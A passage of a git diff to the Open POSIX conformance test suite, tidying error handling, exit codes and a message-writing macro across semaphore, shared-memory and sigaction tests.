+		exit(PTS_UNRESOLVED);
+	}
 
 	for (;;) {
 		rc = sched_yield();
 		if (rc) {
 			ERR_LOG("child: sched_yield", rc);
-			exit(1);
+			exit(PTS_FAIL);
 		}
 	}
 
 	/* should not get here */
-	exit(2);
+	exit(PTS_UNRESOLVED);
 }
 
 int main(void)
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_destroy/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_destroy/3-1.c
index 2a02a75..bca2137 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_destroy/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_destroy/3-1.c
@@ -19,11 +19,11 @@
 #include <sys/stat.h>
 #include <fcntl.h>
 #include <pthread.h>
+#include <string.h>
 #include "posixtest.h"
 
 #define TEST "3-1"
 #define FUNCTION "sem_destroy"
-#define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": "
 
 static sem_t psem, csem;
 static int n;
@@ -33,6 +33,7 @@
 int main(void)
 {
 	pthread_t prod, cons;
+	int err;
 	long cnt = 3;
 
 	n = 0;
@@ -40,28 +41,40 @@
 		perror("sem_init");
 		return PTS_UNRESOLVED;
 	}
+
 	if (sem_init(&psem, 0, 1) < 0) {
 		perror("sem_init");
 		return PTS_UNRESOLVED;
 	}
+
 	if (pthread_create(&prod, NULL, producer, (void *)cnt) != 0) {
 		perror("pthread_create");
 		return PTS_UNRESOLVED;
 	}
+
 	if (pthread_create(&cons, NULL, consumer, (void *)cnt) != 0) {
 		perror("pthread_create");
 		return PTS_UNRESOLVED;
 	}
 
-	if (pthread_join(prod, NULL) == 0 && pthread_join(cons, NULL) == 0) {
+	err = pthread_join(prod, NULL);
+	if (err) {
+		printf("Failed to join thread: %s", strerror(err));
+		return PTS_UNRESOLVED;
+	}
+
+	err = pthread_join(cons, NULL);
+	if (err) {
+		printf("Failed to join thread: %s", strerror(err));
+		return PTS_UNRESOLVED;
+	}
+
+	if (sem_destroy(&psem) == 0 && sem_destroy(&csem) == 0) {
 		puts("TEST PASS");
-		pthread_exit(NULL);
-		if ((sem_destroy(&psem) == 0) && sem_destroy(&csem) == 0) {
-			return PTS_PASS;
-		} else {
-			puts("TEST FAILED");
-			return PTS_FAIL;
-		}
+		return PTS_PASS;
+	} else {
+		puts("TEST FAILED");
+		return PTS_FAIL;
 	}
 }
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/11-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/11-1.c
index f87afaa..b06bf05 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/11-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/11-1.c
@@ -24,7 +24,7 @@
 #include "posixtest.h"
 
 #define TIMEOUT 2
-#define INVALIDTIMEOUT -2
+#define NEGATIVETIMEOUT -2
 #define TEST "11-1"
 #define FUNCTION "sem_timedwait"
 #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": "
@@ -45,7 +45,7 @@
 			ts[i].tv_sec = time(NULL) + TIMEOUT;
 			ts[i].tv_nsec = 0;
 		} else if (i == 1) {
-			ts[i].tv_sec = time(NULL) + INVALIDTIMEOUT;
+			ts[i].tv_sec = time(NULL) + NEGATIVETIMEOUT;
 			ts[i].tv_nsec = 0;
 		}
 		/* Lock Semaphore */
@@ -61,15 +61,15 @@
 			return PTS_UNRESOLVED;
 		}
 
+		sem_destroy(&mysemp[i]);
+
 		/* Checking if the value of the Semaphore decremented by one */
-		if ((val[i] == 0) && (sts[i] == 0)) {
-			puts("TEST PASSED");
-			sem_destroy(&mysemp[i]);
-			return PTS_PASS;
-		} else {
+		if ((val[i] != 0) || (sts[i] != 0)) {
 			puts("TEST FAILED");
-			sem_destroy(&mysemp[i]);
 			return PTS_FAIL;
 		}
 	}
+
+	puts("TEST PASSED");
+	return PTS_PASS;
 }
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/26-2.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/26-2.c
index 215d3e1..69edeae 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_open/26-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_open/26-2.c
@@ -95,19 +95,22 @@
 	fd = shm_open(SHM_NAME, O_RDWR | O_TRUNC, 0);
 	if (fd == -1) {
 		perror("An error occurs when calling shm_open()");
-		seteuid(getuid());
+		if (seteuid(getuid()))
+			perror("seteuid");
 		shm_unlink(SHM_NAME);
 		return PTS_UNRESOLVED;
 	}
 
 	if (fstat(fd, &stat_buf) != 0) {
 		perror("An error occurs when calling fstat()");
-		seteuid(getuid());
+		if (seteuid(getuid()))
+			perror("seteuid");
 		shm_unlink(SHM_NAME);
 		return PTS_UNRESOLVED;
 	}
 
-	seteuid(getuid());
+	if (seteuid(getuid()))
+		perror("seteuid");
 	shm_unlink(SHM_NAME);
 
 	if (stat_buf.st_uid == old_uid && stat_buf.st_gid == old_gid) {
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/8-1.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/8-1.c
index ed18cf2..d67d2fb 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/8-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/8-1.c
@@ -86,7 +86,8 @@
 		return PTS_UNRESOLVED;
 	}
 
-	seteuid(getuid());
+	if (seteuid(getuid()))
+		perror("seteuid");
 
 	if (fstat(fd, &stat_after) != 0) {
 		perror("An error occurs when calling fstat()");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/9-1.c
index 5c52465..9ef4b0c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/shm_unlink/9-1.c
@@ -69,12 +69,14 @@
 	result = shm_unlink(SHM_NAME);
 	if (result == -1 && errno == EACCES) {
 		printf("Test PASSED\n");
-		seteuid(getuid());
+		if (seteuid(getuid()))
+			perror("seteuid");
 		shm_unlink(SHM_NAME);
 		return PTS_PASS;
 	} else if (result == -1) {
 		perror("Unexpected error");
-		seteuid(getuid());
+		if (seteuid(getuid()))
+			perror("seteuid");
 		shm_unlink(SHM_NAME);
 		return PTS_FAIL;
 	}
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/10-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/10-1.c
index 02150a1..722cbf2 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/10-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/10-1.c
@@ -66,7 +66,10 @@
 	sigemptyset(&act.sa_mask);
 	sigaction(SIGCHLD, &act, 0);
 
-	if ((pid = fork()) == 0) {
+	if ((pid = fork()) < 0) {
+		printf("fork() did not return success\n");
+		return PTS_UNRESOLVED;
+	} else if (pid == 0) {
 		/* child */
 		while (1) {
 			/* wait forever, or until we are
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/11-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/11-1.c
index 41db848..fcf5e78 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/11-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/11-1.c
@@ -51,7 +51,10 @@
 	sigemptyset(&act.sa_mask);
 	sigaction(SIGCHLD, &act, 0);
 
-	if ((pid = fork()) == 0) {
+	if ((pid = fork()) < 0) {
+		printf("fork() did not return success\n");
+		return PTS_UNRESOLVED;
+	} else if (pid == 0) {
 		/* child */
 		while (1) {
 			/* wait forever, or until we are
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-1.c
index a038ea9..aadcfd8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-1.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGABRT) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-10.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-10.c
index 019c980..4ab58ae 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-10.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-10.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGPIPE) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-11.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-11.c
index 7e3545e..31d077c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-11.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-11.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGQUIT) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-12.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-12.c
index 123ff16..ec7c8ad 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-12.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-12.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGSEGV) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-13.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-13.c
index 6cfe1d7..da1241c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-13.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-13.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGTERM) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-14.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-14.c
index 9371b1b..0b33cc2 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-14.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-14.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGTSTP) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-15.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-15.c
index 37a986d..c5ef809 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-15.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-15.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGTTIN) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-16.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-16.c
index 72446e7..73c632b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-16.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-16.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGTTOU) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-17.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-17.c
index e6d5ba8..50d9b7c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-17.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-17.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGUSR1) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-18.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-18.c
index 2d3f743..dc69762 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-18.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-18.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGUSR2) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-19.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-19.c
index b124d08..3708f7e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-19.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-19.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGPOLL) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-2.c
index 0c7e8c6..b9c6ff9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-2.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,13 +48,14 @@
 	(void) context;
 
 	if (info->si_signo != SIGALRM) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
 	called = 1;
 }
 
+
 int main(void)
 {
 	int ret;
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-20.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-20.c
index f01a4c2..bf8f35a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-20.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-20.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGPROF) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-21.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-21.c
index 74fffa9..fa96eda 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-21.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-21.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGSYS) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-22.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-22.c
index dbe6c55..3885f2a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-22.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-22.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGTRAP) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-23.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-23.c
index e0f54d8..e51d7ce 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-23.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-23.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGURG) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-24.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-24.c
index bba928a..8505c94 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-24.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-24.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGVTALRM) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-25.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-25.c
index 62ebe73..404521e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-25.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-25.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGXCPU) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-26.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-26.c
index c02c773..0e07282 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-26.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-26.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGXFSZ) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-3.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-3.c
index 5fb8c5f..6674c9a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-3.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGBUS) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-4.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-4.c
index 9938890..a56f15b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-4.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-4.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGCHLD) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-5.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-5.c
index 9096ca4..9df9e42 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-5.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-5.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGCONT) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-6.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-6.c
index 3b6799a..da0b6ba 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-6.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-6.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGFPE) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-7.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-7.c
index 5d6b84b..ed1bd3d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-7.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-7.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGHUP) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-8.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-8.c
index ec26491..4edf21e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-8.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-8.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGILL) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-9.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-9.c
index 9104486..e59bb74 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-9.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-9.c
@@ -40,8 +40,6 @@
 #include <errno.h>
 #include "posixtest.h"
 
-#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
-
 static volatile sig_atomic_t called = 0;
 
 static void handler(int sig, siginfo_t *info, void *context)
@@ -50,7 +48,7 @@
 	(void) context;
 
 	if (info->si_signo != SIGINT) {
-		WRITE("Wrong signal generated?\n");
+		PTS_WRITE_MSG("Wrong signal generated?\n");
 		_exit(PTS_FAIL);
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/9-1.c
index 1d45c09..dc3200e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/9-1.c
@@ -51,7 +51,10 @@
 	sigemptyset(&act.sa_mask);
 	sigaction(SIGCHLD, &act, 0);
 
-	if ((pid = fork()) == 0) {
+	if ((pid = fork()) < 0) {
+		printf("fork() did not return success\n");
+		return PTS_UNRESOLVED;
+	} else if (pid == 0) {
 		/* child */
 		/* wait forever, or until we are
 		   interrupted by a signal */
